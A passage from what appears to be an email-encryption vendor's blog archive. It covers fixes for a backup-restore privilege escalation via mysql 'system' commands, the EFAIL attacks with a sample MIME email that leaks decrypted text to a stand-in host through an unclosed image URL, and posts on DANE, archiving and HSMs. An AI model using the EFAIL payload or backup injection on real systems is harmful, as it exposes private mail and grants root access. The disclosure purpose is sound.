Fixing this vulnerability requires that we only allow settings to be changed that are considered safe. We added a variable, allowed_settings, to the script responsible for updating the Postfix configuration file. This variable contains a lists of all the safe settings. Any change to an unlisted setting results in an error. The downside of this fix is that an administrator can no longer edit a setting from the web interface that is not on the list of allowed settings. It is however still possible to edit all Postfix configuration settings from the command line.

This vulnerability has been fixed in CipherMail Gateway 4.8 and Webmail Messenger 3.2. We provide a patch for older releases which will only update the postfix-main-config.sh script file, mitigating the issue. See below for instructions on how to apply this patch.

Backup and restore

The second vulnerability involves the restore functionality from the backup/restore page. The backup/restore functionality in the CipherMail software allows an administrator to create a backup of all the relevant settings. The system can then be restored on the same system or on a different system.

The software stores most settings in a relational database. When creating a system backup, the complete database is dumped to an SQL file. When restoring the backup, the SQL file is passed to the mysql command which will then restore the database.

Additional non-SQL commands

It turns out that the mysql command supports additional non-SQL commands. One such non-SQL command is the "system" command. If the SQL import file contains a system command, mysql runs the specified system command as the user account that started mysql (which is the "djigzo" user on CipherMail systems).

The vulnerability is that an administrator can create a backup, modify the SQL file and then restore the modified backup, which will cause the djigzo user to execute any system commands present in the SQL file.

Signing the backup file?

One possible solution would be to verify that the backup file has not been modified. This requires that the backup file is digitally signed. While this initially sounds like a good solution, it will not work with a software based appliance. If an administrator can get hold of the signing key, the administrator can use the signing key to re-sign a modified backup. With a software based appliance, it is impossible to protect the signing key.

Parsing the SQL dump?

Another solution could be to parse the SQL file and remove the dangerous commands. This however requires that the parser understands which commands are safe and which are not. Writing a safe parser is hard and you might have issues when an updated MariaDB version introduces new SQL commands. Even if we are able to validate the SQL file and remove the dangerous commands, we still have another issue with additional backup files.

Additional backup files

Besides the SQL file, the backup file contains additional configuration files. One such configuration file is the Postfix main configuration file (main.cf). As discussed above, the Postfix configuration file supports settings that can result in code execution. If the administrator modifies the backup and changes the Postfix configuration file, the injected commands will be executed.

One solution to this might be to validate the Postfix configuration file and check whether it contains settings that are considered to be unsafe. The problem with only allowing safe settings is that if an administrator added an unsafe setting from the command line, because of some requirement, and a backup was created, the backup can no longer be restored because it now contains an unsafe setting. Even if we are able to solve this issue, there might be other configuration files from the backup that might have similar issues. We consider the restore vulnerability a privilege escalation issue: a logged in administrator is inadvertently capable of running commands as the system root user.

The fix

There are two possible options: require an additional system password when executing the restore functionality from the web interface, or only allow restores from the command line.

Additional system password

The first solution is to require an additional system password to be entered when restoring from the web interface. The additional system password is the password for the command line user. By default, this is the password of the "sa" user. Restoring now requires the correct privileges.

Disable restore from the GUI

The second solution is to completely remove the restore functionality from the web interface. Restores can now only be done from the command line.

For CipherMail Gateway 4.8 and Webmail Messenger 3.2 we opted for the first solution, i.e, the password for the "sa" user must be entered when restoring. For older releases we opted for the second solution, i.e., disable the restore functionality from the web interface. A patch for older releases is now available. See below for instructions on how to apply this patch.

Check your backups

With both solutions, the administrator is still able to restore a rogue backup. This time however the administrator requires the correct system privileges. Any backup system which can back up system files, is vulnerable to backup manipulation. It is therefore important that backup files should only be restored if the backup file comes from a trusted source and has not been tampered with.

Weak Diffie-Hellman keys

The third vulnerability, found by our system administrator Imre Jonk, is that the default Postfix configuration uses weak Diffie-Hellman parameters. Postfix uses by default 1024 bit DH parameters which are now considered to be too weak.

Whether 1024 bit DH parameters are too weak for a specific setup depends on whether TLS is mandatory or not. With the default configuration of CipherMail, TLS is not mandatory. If an incoming or outgoing SMTP connection does not support TLS, the email is transmitted without TLS. If however TLS is mandatory, for example because DANE is in use, and the TLS connection uses Diffie-Hellman key exchange, then the TLS encryption strength might be too weak.

Stronger DH parameters are now configured in CipherMail Gateway 4.8 and Webmail Messenger 3.2. For older releases we provide a patch which will configure stronger DH parameters.

Should I update or patch?

Whether the issues should be fixed depends on your use case. If you are the administrator and you are in full control of the gateway, i.e., you can login to the command line interface and issue commands as root, you are most likely not affected by the first two vulnerabilities. If you want to make sure the issues are fixed, you might consider running the patch and not update to a newer release. Running the patch is easier than updating to a newer release.

Patch instructions for older releases

For the CipherMail Gateway:

Download ciphermail-gateway-cve-2020-12713.patch.run

Make the file executable



$ chmod +x ciphermail-gateway-cve-2020-12713.patch.run

Execute the patch



$ sudo ./ciphermail-gateway-cve-2020-12713.patch.run

Select which vulnerability should be fixed.
Select "yes" for each issue you want to fix.

For CipherMail Webmail Messenger:

Download ciphermail-webmail-cve-2020-12713.patch.run

Make the file executable



$ chmod +x ciphermail-webmail-cve-2020-12713.patch.run

Execute the patch



$ sudo ./ciphermail-webmail-cve-2020-12713.patch.run

Select which vulnerability should be fixed.
Select "yes" for each issue you want to fix.

Patch instructions for older releases

Customers with a support contract who have additional questions or need help fixing the issue, either by running the patch or updating, please Contact Us.

Credits

We like to thank Pablo A. Zurro from Core Security for reporting the privilege escalation issues ethically.

EFAIL: detection and prevention

2018-05-19T00:00:00+02:00

In EFAIL: which is vulnerable? PGP, S/MIME or your mail client?, we discussed the EFAIL "Generic exfiltration" attack on S/MIME and suggested how such an attack may be detected.

Even though the CipherMail gateway is not directly vulnerable to EFAIL if your email client is configured to automatically download external resources, your email client may leak your decrypted email.

The main issue with the EFAIL "Generic exfiltration" attack is that an encrypted message can be modified by an attacker without being detected. This is a general S/MIME problem and can only be solved by fixing the S/MIME standards.

... any standard-conforming client will be vulnerable and ... each vendor may cook their own mitigations that may or may not prevent the attacks. Thus, in the long term, it is necessary to update the specification to find and document changes that fix the underlying root causes of the vulnerabilities.

In EFAIL: how to detect you are being attacked?, we discussed a possible option to detect that an S/MIME encrypted email was modified.

If an encrypted S/MIME email is modified, multiple blocks of random data will be added to the email. S/MIME emails however, should only contain readable characters. If an email, after decryption, contains non-readable characters, this is an indication that the encrypted message has been tampered with (for more details see EFAIL: how to detect you are being attacked?)

To make sure that CipherMail customers are protected even if a vulnerable email program is used, we have added functionality to the CipherMail Email Encryption Gateway which can detect whether there are non-readable characters in a decrypted message. If non-readable characters are found, a header will be added to the email. An anti spam/virus filter can detect this header and quarantine the email for further inspection. Optionally, decrypting the email can be aborted. The email will then be delivered in encrypted form.

The following two advanced S/MIME options were added: Check for invalid 7bit chars and Abort decrypt on invalid 7bit chars. If Check for invalid 7bit chars is enabled, the decrypted message will be analyzed to check whether all characters are within the acceptable character range for S/MIME (tab, LF, CR, 32-126). If a character is found which is not within the acceptable range, the header "X-Djigzo-Info-SMIME-Illegal-Chars-Found: True" will be added to the email and the following warning message will be printed to the logs:


WARN  Illegal characters detected in decrypted message

If Abort decrypt on invalid 7bit chars is also enabled, decryption will be aborted and the message will be delivered in encrypted form and the following warning message will be printed to the logs:


WARN  Decryption aborted. Illegal characters detected in decrypted message

The options Check for invalid 7bit chars and Abort decrypt on invalid 7bit chars are not enabled by default. Although the S/MIME specifications require that email sent over the Internet only use 7bit characters, it may be that some non-conforming S/MIME clients use 8bit characters. Non-conforming S/MIME clients may therefore result in false positives for some emails. The options can be enabled for specific recipients or domains but it's best to enable them on the top level.

EFAIL: how to detect you are being attacked?

2018-05-15T00:00:00+02:00

In EFAIL: which is vulnerable? PGP, S/MIME or your mail client?, we discussed some implications of the newly found EFAIL attack on PGP and S/MIME. We concluded that CipherMail gateway was not directly vulnerable because the gateway does not load remote content from the email. The email only gets decrypted, validated and then forwarded.

The EFAIL paper describes two types of attack. The Direct exfiltration attack and the Generic exfiltration attack.

Messages decrypted by the CipherMail gateway are not vulnerable to the Direct exfiltration attack even if you use a mail client which is vulnerable to the Direct exfiltration attack because CipherMail will always generate messages having correct MIME parts after decryption. PGP messages decrypted by CipherMail are also not vulnerable to the Generic exfiltration attack because a Modification Detection Code (MDC) is required and checked. If a message does not have the correct MDC, the message will not be decrypted (see EFAIL: which is vulnerable? PGP, S/MIME or your mail client? for more details)

S/MIME

S/MIME however is vulnerable to the Generic exfiltration attack. With the Generic exfiltration attack the attacker can insert additional content (payload) into an encrypted email without having to decrypt the email first. This by itself does not directly result in the loss of information. However, if the email is viewed on an email client which automatically downloads external content, part of the decrypted email might be uploaded to a remote system.

Generic exfiltration

We have further analyzed EFAIL and have been able to modify an S/MIME message using the described Generic exfiltration technique.

Inserting the required payload is not straightforward. Only small parts can be inserted (max 16 bytes). To insert a payload which can be used to upload the decrypted contents requires multiple blocks to be inserted. The problem with inserting blocks into the encrypted stream, is that the blocks are separated by bogus data (random plaintext). The paper describes in a clever way how the inserted payload can be optimized to make sure that the HTML parser skips the bogus data.

The bogus data however, can also be used to detect that an EFAIL attack has been executed. S/MIME specification (RFC 5751) requires that an S/MIME message should only contain 7-bits characters:

If a multipart/signed entity is ever to be transmitted over the standard Internet SMTP infrastructure or other transport that is constrained to 7-bit text, it MUST have transfer encoding applied so that it is represented as 7-bit text. MIME entities that are 7-bit data already need no transfer encoding. Entities such as 8-bit text and binary data can be encoded with quoted-printable or base-64 transfer encoding.

S/MIME messages containing characters outside the 7-bit range are therefore invalid. This gives us an opportunity to detect whether the EFAIL attack was used. The chances of detection can be further improved by also disallowing most control characters. in normal emails, only CR, LF and TAB will be used.

When using the CipherMail Email Encryption gateway, a spam or content filter can detect whether the decrypted email contains invalid characters and quarantine the email in such a case.

Automatic detection

We are investigating whether an automatic 8-bit character detection module can be added to the CipherMail gateway. With this module, if a decrypted email contains invalid characters, the gateway will not forward the email in decrypted form but forward it in encrypted for to an admin for further analysis.

Update

This functionality has now been implemented in the CipherMail Email Encryption Gateway. For more information see EFAIL: detection and prevention

EFAIL: which is vulnerable? PGP, S/MIME or your mail client?

2018-05-14T00:00:00+02:00

EFAIL is a recent attack on PGP en S/MIME email encryption (EFAIL).

EFAIL exploits remote content resolving built into most email clients (like for example images and CSS rules) to get (parts) of a previously encrypted email.

What EFAIL basically does, is that it takes a previously encrypted email (for which the attacker does not have the private key) and embeds this encrypted email into a new email in a special way. The email is then sent to the recipient for decryption. The attacker however designed the email in a way that the decrypted content of the original email gets embedded into the URL for a remote resource (for example an image). If the email client is configured to automatically resolve external content (for example download images), the content of the email gets sent to the remote server as a URL request. If the remote server is under control of the attacker, or if the URL is sent via HTTP, the attacker can access the URL and therefore has access to the plain text content of the original email.

Two forms of attack

EFAIL described two forms of attack: Direct exfiltration and Generic exfiltration.

Direct exfiltration

With Direct exfiltration, the email client is tricked into embedding the decrypted message into the URL of an image URL.

Take for example the following email:


MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="------------BOUNDARY"

--------------BOUNDARY
Content-Type: text/html;

<img src="http://www.example.com/

--------------BOUNDARY
Content-Type: text/plain;

-----BEGIN PGP MESSAGE-----
Charset: ISO-8859-1
Version: GnuPG v1.4.11 (GNU/Linux)

hQEMA4qqZxiq3q9/AQf/bNb91v6gBd2UE9FF4PcyoCBEA95GQyom/xrRB9dl44xp
[SNIP]
nHDNjX1d8QF9V4Q22MCImLA=
=i3mI
-----END PGP MESSAGE-----

--------------BOUNDARY
Content-Type: text/html;
Content-Transfer-Encoding: 7bit

>
--------------BOUNDARY--

An email client is vulnerable to the Direct exfiltration attack if the above email, afer decryption, ends up as follows:


MIME-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------BOUNDARY"

This is a multi-part message in MIME format.
--------------BOUNDARY
Content-Type: text/html;
Content-Transfer-Encoding: 7bit

<img src="http://www.example.com/
Decrypted text
>

Because the IMG URL did not contain a final quote, the decrypted text "Decrypted text" is now part of the IMG URL. If the email client now tries to download the image, it sends the decrypted text to the remote server.

The CipherMail email encryption gateway is not vulnerable to the Direct exfiltration attack. CipherMail will create a valid email with correct mail parts. CipherMail will create the following email from the above Direct exfiltration attack:


MIME-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------BOUNDARY"

This is a multi-part message in MIME format.
--------------BOUNDARY
Content-Type: text/html;
Content-Transfer-Encoding: 7bit

<img src="http://www.example.com/

--------------BOUNDARY
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit

Decrypted text

--------------BOUNDARY
Content-Type: text/html;
Content-Transfer-Encoding: 7bit

>
--------------BOUNDARY--

The decrypted inline PGP message is added as a separate MIME part and not embedded into the other part. The decrypted message is therefore not part of the first HTML part and will therefore not be embedded into a URL. For S/MIME, PGP/MIME this works similarly.

Generic exfiltration

The Generic exfiltration attack is more difficult to exploit. With the Generic exfiltration attack, the encrypted message is modified in such a way that the resulting message becomes an HTML email containing an image pointing to an URL containing the encrypted message. S/MIME seems to be vulnerable to this attack because in general, a signed message starts with a known header. However, you still need a mail client that resolves remote content. Signing a message does not help because the attacker can remove the signature.

In general, the Generic exfiltration attack also works with PGP messages. However, PGP messages are less vulnerable if compression and Modification Detection Codes (MDC) are used. CipherMail by default compresses the email before encryption and CipherMail requires that the PGP message is protected with an MDC. If an MDC is not available or not correct, CipherMail will not decrypt the message. PGP messages decrypted with CipherMail are therefore not vulnerable to EFAIL even if the mail client automatically downloads external content.

CipherMail for Android

CipherMail for Android by default does not resolve external content. CipherMail for Android therefore is not vulnerable unless you manually activate the "Load external images" option.

Mitigation

The best way to mitigate the EFAIL attack is to configure your email client to not download external content. This is a sane thing to do anyway because downloading of remote content can be misused in different ways like for example to track recipients (using 1 pixel images).

Bottom line

Is EFAIL a problem with S/MIME and PGP or a problem with your email client? I certainly agree that the S/MIME standard should be improved to protect against message modification (i.e., protect agains the Generic exfiltration attack). The Direct exfiltration attack however, is more an email client issue and should therefore be fixed by the email clients.

CipherMail by itself is not directly vulnerable to EFAIL because CipherMail does not download remote content. The email client that shows the decrypted email however can still be vulnerable to EFAIL.

Messages decrypted by the CipherMail gateway are not vulnerable to the Direct exfiltration attack even if you use an email client which is vulnerable to the Direct exfiltration attack because CipherMail will always generate messages with correct MIME parts after decryption. PGP messages decrypted by CipherMail are also not vulnerable to the Generic exfiltration attack because a Modification Detection Code (MDC) is required and checked. If a message does not have the correct MDC, the message will not be decrypted.

S/MIME Messages decrypted by CipherMail might be be vulnerable to the Generic exfiltration attack if you use an email client which downloads remote content. It is therefore strongly recommended to disable automatic download of external resources in your email client. Allowing your email client to download external resources is a security issue by itself and it is therefore best to disable it.

We will do some further research to see if there are ways to protect S/MIME without having to wait for changes to the RFC standards.

Update

For more information on how to detect if you are attacked with EFAIL see EFAIL: how to detect you are being attacked?

Will DANE for SMTP solve all of your GDPR problems?

2018-05-09T00:00:00+02:00

Will DANE for SMTP solve all of your GDPR problems?

The short answer: probably not. The long answer: keep reading.

What is DANE?

According to Wikipedia:

DNS-based Authentication of Named Entities (DANE) is a protocol to allow X.509 certificates, commonly used for Transport Layer Security (TLS), to be bound to DNS names using Domain Name System Security Extensions (DNSSEC)

In less technical terms, DANE is a protocol which allows you to securely associate a domain name with an X.509 certificate.

To support DANE, the following key ingredients are required:

The client (for example a web browser or SMTP client) and server must support DNSSEC.
Client and server must support the DANE protocol.
Server certificate must be stored in DNS and the DNS record must be signed.

DANE has many sub-protocols, like for example DANE for SMTP, DANE for OpenPGP etc. For this article we will only focus on DANE for SMTP.

One of the reasons DANE for SMTP has been introduced is to fix a number of security flaws with TLS and SMTP. A problem with TLS and SMTP is that there is no direct relationship between a recipients domain and the authoritative SMTP server for that domain. The authoritative SMTP servers for a domain are stored in DNS MX records. In most cases, the domain names for the listed authoritative SMTP servers are different from the recipients' domain.

Example

The official domain name for the Dutch government is overheid.nl. However, the DNS MX records for the overheid.nl domain point to servers from another domain:

overheid.nl.        300 IN  MX  20 mx01-koop.solvinity.com.
overheid.nl.        300 IN  MX  20 mx02-koop.solvinity.com.

Because the domain overheid.nl does not match the domain solvinity.com it's impossible to know for certain that the servers mx01-koop.solvinity.com and mx02-koop.solvinity.com are the correct authoritative SMTP servers for overheid.nl. We can only rely on the DNS server to give us the correct results. DNS however is not secure by default and the DNS results should therefore not be trusted unless DNSSEC is used.

Another problem DANE tries to solve is the "Too Many Certification Authorities" problem. In order to trust a server certificate, the client should trust the issuer of that certificate and therefore has to trust a large list of certificate authorities (CAs). DANE tries to remove the CA from the equation by storing the X.509 certificate into DNS and no longer rely on CAs.

Issues with DANE

The problem with DANE is that DNSSEC is required. DNSSEC is however still not widely deployed. Big players like Microsoft (Office 365)¹ and Gmail² at the moment do not support DNSSEC.

DANE requires that DNSSEC is supported by sender and recipient. Setting up DNSSEC is not easy and error prone.

While I think the "Too Many Certification Authorities" problem is certainly a problem, replacing many CAs by basically just one CA may not be the solution to all problems.

A more serious problem with DANE is that it's often presented as the solution to email encryption. DANE is a protocol to make a TLS connection less vulnerable to a "Man in The Middle attack". However, it does not provide stronger security than what is provided by TLS. TLS only encrypts the connection. The individual messages are not encrypted. The sender can only be certain that the connection to the first SMTP server is encrypted and secured with DANE. What happens next, is no longer under control of the sender. When the email reaches the users Inbox, the message may have been copied and stored in plain text multiple times or even altered without detection.

Combine DANE with message encryption

While DANE improves the security of TLS, DANE by itself may not be sufficient to fully protect your email. The best option is to use DANE for protecting the channel and S/MIME for protecting the message by encryption and signing.

Encrypted email and archiving requirements

2017-01-31T00:00:00+01:00

Even though we believe that email encryption at the gateway level is the easiest way to encrypt your email¹, in certain situations, desktop to desktop encryption (using Outlook for example) might still be preferred. For example the email infrastructure might be completely outsourced and regulatory requirements demand that the external company should have no access to the contents of sensitive emails.

There are various legal discovery rules requiring emails to be archived for a number of years (for example HIPAA, SEC etc.) If email is encrypted on the desktop it will automatically be archived in encrypted form. Archiving encrypted email sounds like a good idea from a security point of view. However, storing email in encrypted form might lead to some problems later in time when email has to be retrieved from the archive. To access the contents of the email, the correct private key is required to decrypt the email. A problem with that is that it is impossible to know in advance which emails need to be retrieved from archive later in time. Therefore, all private keys used for email encryption must be securely stored together with the email archive. For small organizations this might be doable. For large organizations however keeping a record of all private keys might be more problematic. Imagine a company with 10,000+ employees. If every employee gets a new certificate every year and email should be kept for 10 years, at least 100,000 keys should be stored. Even if the company manages to store all private keys, there might still be problems adhering to the required legal discovery rules.

For example searching the archive for certain content is not supported unless the archiving solution has access to all private keys and all encrypted emails are decrypted by the archiving solution. Even if the archiving solution is able to decrypt all email, decrypting and searching a 10-year-old archive of millions of emails can take a long time. Another problem is that you only know whether you have access to the correct private key if you can decrypt the message successfully. What happens if you later find out you forgot to archive some private keys? Or if some department issued their own certificates and those certificates and keys were not properly archived. If a legal order demands that you hand over certain emails, you need to be absolutely certain that you can find and decrypt those emails.

Instead of archiving encrypted email, a better solution might be to decrypt the email just before archiving. This way there is no need to keep all encryption keys for a long time (only as long as the certificate is valid) and you can be certain that all email can be read. By placing a CipherMail gateway between the email server and the archiving system, all email will be decrypted before sending it to the archiving system (see image below). This even works for email forwarded by an Exchange journaling agent (the CipherMail gateway will decrypt the attached email). All available private keys can be imported into the gateway or, if there are many private keys, private keys can be imported on demand.

Storing all private keys on a single location can be a security issue. To securely store private keys a Hardware Security Module (HSM) is advised². Because the decryption gateway is able to decrypt all email, access to the gateway should only be allowed to certain key personnel.

Desktop to desktop email encryption is one of the most secure ways to secure your email. Desktop email encryption however might be conflicting with the requirement to archive email in a readable and search able form. Placing an email encryption gateway before the archiving system might help to fulfill both requirements.

What does it take for Johnny to start encrypting his email?

2016-05-30T00:00:00+02:00

What does it take for Johnny to start encrypting his email?

Email is here to stay

Despite the growing popularity of applications like WhatsApp, email is still considered to be the most important communication tool for online workers ¹ and is likely to grow in importance over the next five years². A problem with email however is that email was designed in a time when Internet security was non existing. Email can be easily forged and intercepted. Growing economic espionage is becoming more and more a problem for companies worldwide. The FBI estimates that economic espionage "costs the American economy hundreds of billions of dollars per year" ³. New laws, like the European "General Data Protection Regulation", requires companies to protect all personal data. Non compliance can lead to "a fine up to 100 000 000 EUR or up to 5% of the annual worldwide turnover in case of an enterprise, whichever is greater".

Rules and regulations

Today, most users are no longer surprised when they hear about the security issues involving email. Most professions have strict rules and regulations on how to deal with privacy sensitive information (for example HIPAA in the medical industry). What is surprising however is that even though most users are aware that unencrypted email is not safe, many users still send privacy sensitive information unencrypted. Unfortunately there is a big gap between knowing and doing.

The role of auditors

In order to improve the security of their digital "Fort Knox", organizations spend large sums auditing and protecting their IT infrastructure. Sometimes companies are even required to buy firewalls from two, or more, vendors. If a vulnerability is found in firewall from vendor A, you will still have a backup firewall from vendor B. Strangely enough, it looks like auditors think their responsibility of what needs to be audited stops at the borders of the company's infrastructure. In other words, when data has left the company's infrastructure, it seems the company is no longer responsible for the data. Of course auditors are not stupid. They are aware that email can be forged and intercepted. However, since most companies are still allowed to use unencrypted email, even for privacy sensitive data, it seems most auditors turn a blind eye when it comes to email encryption.

Why is email encryption not used?

Email encryption products have been available for years and most email clients already have encryption capabilities built-in. If email encryption is already supported out the box, why is email encryption not used more often? There are a couple of reasons why email encryption is not popular. The paper "Why Johnny can’t encrypt: a usability evaluation of PGP 5.0" published in 1999, discusses why email encryption products are hard to use and why email encryption is not used more often. In my opinion the two most important conclusions of the article are:

Individual users are not motivated to encrypt their email.
Email encryption is too complex.

Users might not be motivated to encrypt their email because users do not think encryption is important. "I have never encrypted my email so why should I change this" is an often heard excuse. The first conclusion might also be related to the second conclusion. If email encryption was easy, more people would be motivated to encrypt their email. If email encryption is too difficult to use, people will either send email unencrypted, or they will find different ways to send email. Recently, the Dutch minister of economic affairs, reported that he uses his personal email account for work related email and that his personal email account was hacked. It is against the rules for a minister to send work related emails to personal email accounts. The reason for him not using the official work accounts are unclear, but my guess is that it was probably too difficult for him to send sensitive documents via his work mail account and he therefore chose the easier route using his personal mail account.

How to make email encryption easier?

I think the best option for email encryption is to encrypt email at the network level using a centralized email encryption gateway. The main benefits of an email encryption gateway is that it allows you to define a centralized security policy. For example, you can define a policy that all email to a certain domain must be encrypted. Because the policy is centralized, users do not have to think whether to encrypt their email. The system encrypts automatically if required. The administrator is responsible for the security policy and for configuring the correct keys. Key management is too complex for end-users. An additional benefit of a centralized encryption gateway is that it is still possible to scan for spam and viruses at the gateway level. This is not possible if encryption is done at the desktop level because the centralized virus scanner cannot scan encrypted email for viruses. A gateway solution also supports a hybrid mode where digital signing is done at the desktop level and encryption at the gateway level.

Is Transport Layer Security (TLS) the solution?

Some might think "but this can all be done with TLS!". This is only partially true. Without going through all the details, I will try to explain why TLS is not sufficient. TLS only protects the communication channel but not the individual messages. Another problem with TLS is that you can only enforce a secure connection to the first hub. If an email is handled by an intermediate mail server, you cannot enforce TLS from the intermediate mail server to the next because you are no longer in control of the email. Another problem is that TLS is vulnerable to a "Man In The Middle" attack. This is especially so with SMTP. The problem with SMTP is that there is no inherent relationship between the domain of a recipient and the domain of the mail server responsible for handling email for that domain. Until DANE is widely supported, TLS will be vulnerable to a "Man In The Middle" attack.

Use open standards

To make email encryption between servers successful, open standards should be used. Using open standards also lowers the risk of a vendor lock-in. There are currently two Internet standards for email encryption: S/MIME and OpenPGP. These two standards are supported by multiple vendors and are supported by many open source solutions. With most gateway solutions, you can configure domain-to-domain encryption. This makes email encryption completely transparent for end users. Future standards like DANE for S/MIME or DANE for OpenPGP makes key exchange between gateways and desktop clients virtually automatic.

Using an HSM to protect your encryption and signing keys

2016-05-23T00:00:00+02:00

Like any application that uses private keys, there is always the issue on how to securely store sensitive private key material. The CipherMail gateway stores all settings, including keys and certificates, in a database. One of the benefits of storing all data in a database is that it makes it simple to do backups, full clustering and fail-over.

Even though all sensitive data, like for example private keys, is encrypted with a configurable password, anyone with access to the database contents and the system password might be able to get access to the private keys. This is not specifically a problem of the CipherMail gateway. Any application that uses private keys, and which does not use specialized hardware to securely store the private key material, has the same problem. It is therefore important that access to the database is only allowed to authorized personnel and that system backups of the gateway are encrypted with a strong password.

To make sure that private keys can never be copied, even with full physical access, a Hardware Security Module (HSM) should be used. An HSM is basically a big smart card. It generates private keys directly on the device and stores the private keys on tamper proof hardware. An HSM also provides additional security functionality like for example a built-in secure random generator. For FIPS 140 level 2 and up, an HSM is required because FIPS 140-2 requires physical security mechanisms.

Using an HSM for encryption and digital signing of email can be important if you want to use qualified certificates. For example one of our clients issue their own trusted certificates from an external CA (EJBCA) connected to the gateway. If the gateway is instructed to digitally sign email, the gateway can automatically request an S/MIME signing certificate from the external CA. The private key for the signing certificate is generated on the attached HSM and the certificate signing request (CSR) is sent to the CA which will then automatically issue the certificate.

By using an HSM your security level can be drastically improved. The downside of an HSM is that an HSM can be expensive. You need at least two, preferably in a clustered setup, in case one breaks down. The CipherMail gateway can use an HSM for S/MIME and PGP keys (most other gateways do not support storing PGP keys on an HSM). The CipherMail gateway has been tested with Thales nCipher, Utimaco and Safenet HSMs.

Why leaking email addresses is a data breach

2016-05-15T00:00:00+02:00

Every now and then a news article shows up that someone forgot to use the bcc field instead of the cc field thereby leaking the email addresses of all the recipients.

If the email is from your local sports club, most recipients would probably not consider this to be a data breach (although technically it is). If the email is from a clinic however, I guess most recipients would think differently.

For example in 2015, an HIV clinic sent a news letter to 780 recipients (Inquiry launched after HIV clinic reveals hundreds of patients' identities) Instead of using the bcc field, the sender used the cc field thereby revealing the identities of people having HIV.

There are plenty of other similar incidents which are considered to be a data breach:

Most of these mistakes are human errors, i.e. the sender should have used bcc instead of cc. What is striking however is that most companies do not use any sort of protection against these common mistakes. Why for example is Outlook allowing a sender to specify more than a dozen of email recipients in the cc field?

Instead of handling the cc problem client side (for example using an Outlook plugin), a system wide content scanner can be used instead.

For example the CipherMail email encryption gateway has a DLP engine which can be instructed to quarantine the email if the DLP engine detected more than a certain number of email addresses in the email (cc email addresses are stored in the email, bcc addresses are not). If a message is stored in quarantine, the DLP engine will send a message to the sender of the message and to the DLP managers notifying that the message was quarantined. The DLP managers can inspect the message and release the message after approval. Alternatively, the quarantine can be configured to be "self managed". This allows the sender to check the message stored in quarantine and release the message after self approval.

See example DLP patterns for some DLP patterns including a pattern which quarantines the message if more than 20 email addresses are detected.

Leaking email addresses is considered to be a data breach according to the General Data Protection Regulation (GDPR) and the Dutch "meldplicht datalekken" (and in similar laws in most other countries). Even though you can instruct your employees to not make the cc vs bcc mistake, chances are that mistakes are still being made. Having an extra check in place to catch most of these errors, can help to prevent these common mistakes.

Encrypted email, spam and the German law

2016-05-10T00:00:00+02:00

More and more companies are starting to use some form of email encryption. A problem with email encryption however is that in order to scan encrypted email for viruses or spam, the email should be decrypted before scanning. A typical solution to this problem is to use a centralized email encryption gateway placed between the content scanner and the Internet (see image below). With this setup, email gets decrypted before scanning for viruses or spam.

While this setup allows you to scan all email, there are a couple of issues with this setup. The email encryption gateway has to handle all incoming email including spam (in practice most spam can be blocked at connection time using RBL checks).

Although security wise this is not really a problem, it's better to block viruses and spam as soon as possible. Handling email which will then be removed by the next server is just a waste of resources.

A bigger issue however might be that once a mail server has accepted a message, the mail server is responsible for delivering the message. If the message later turns out to be spam, the server is no longer “allowed” to bounce the message (even though it is technically possible to bounce the email, chances are that your mail server will be blacklisted because of backscatter).

Since the message cannot be bounced back, the only options left are to deliver the email, drop the email, or quarantine the email and notify the recipient.

If an email contains a virus, generally the best option would be to drop the email. If an email is flagged as spam and the spam score is high enough that a false positive is unlikely, most recipients probably want the system to drop the email instead of quarantine it.

Dropping the email however can be problematic in some countries. For example German law, and there are probably other countries with similar laws, forbid to drop email after the email has been accepted unless the email is harmful¹.

So dropping an email which contains a virus is allowed, since the message is harmful, but dropping an email which is flagged as spam is not allowed. An email flagged as spam therefore either has to be delivered, alternatively with a tag added to the subject to indicate that the email was detected as spam, or quarantined. Both options are annoying for recipients if a large number of spam is received every day.

Instead of scanning for spam or viruses after the message was accepted, a better option would be to reject email at delivery time before accepting the email (i.e., place the anti-virus anti-spam scanner between the Internet and the email encryption gateway).

When a message is flagged as spam, the sender will be notified that the message was not accepted. The problem however with scanning before decryption is that the content scanner can no longer scan encrypted email. One option would be to scan again for viruses and spam after decryption. This however only partly solves the problem. Email which was initially encrypted, and could therefore not be scanned by the first scanning process, might be flagged as spam by the second scanning process. If this happens, the email is already accepted and the email can therefore not be dropped nor bounced.

The best way to solve this issue is to decrypt and scan incoming email before accepting the email, i.e., deploy the decrypt and scan process as a "before queue filter". To decrypt email before the email is accepted, we have added an email decryption Milter service to the CipherMail gateway.

The email decryption Milter should be configured before the anti-virus anti-spam Milter to scan to make sure that encrypted email is decrypted before scanning. Because the decryption and scanning process is now configured as a "before queue filter", encrypted email can be scanned for viruses and spam before the email is accepted.

The Milter service will be available in the next release of CipherMail Enterprise.

Juristische Fallstricke für Antispam-Software
Datenschutz: Rechtskonforme Spam-Filterung
Amavis in pre-queue mode ↩

Waarom Jan zijn e-mail niet versleutelt?

2014-11-13T00:00:00+01:00

We mailen er lekker op los!

Hoewel er al jaren wordt geroepen dat e-mail zijn beste tijd heeft gehad, is e-mail nog altijd springlevend. E-mail wordt voor alles en nog wat gebruikt en bevat vaak privacy gevoelige informatie of andere informatie die een zekere mate van beveiliging vereist (zoals een accountantsrapport of patiëntinformatie). Ik denk dat de meeste e-mail gebruikers niet meer verrast zullen zijn om te horen dat e-mail niet zomaar beveiligd is tegen uitlekken.

Hoe zit dat met veiligheidsnormen en de rol van de auditor?

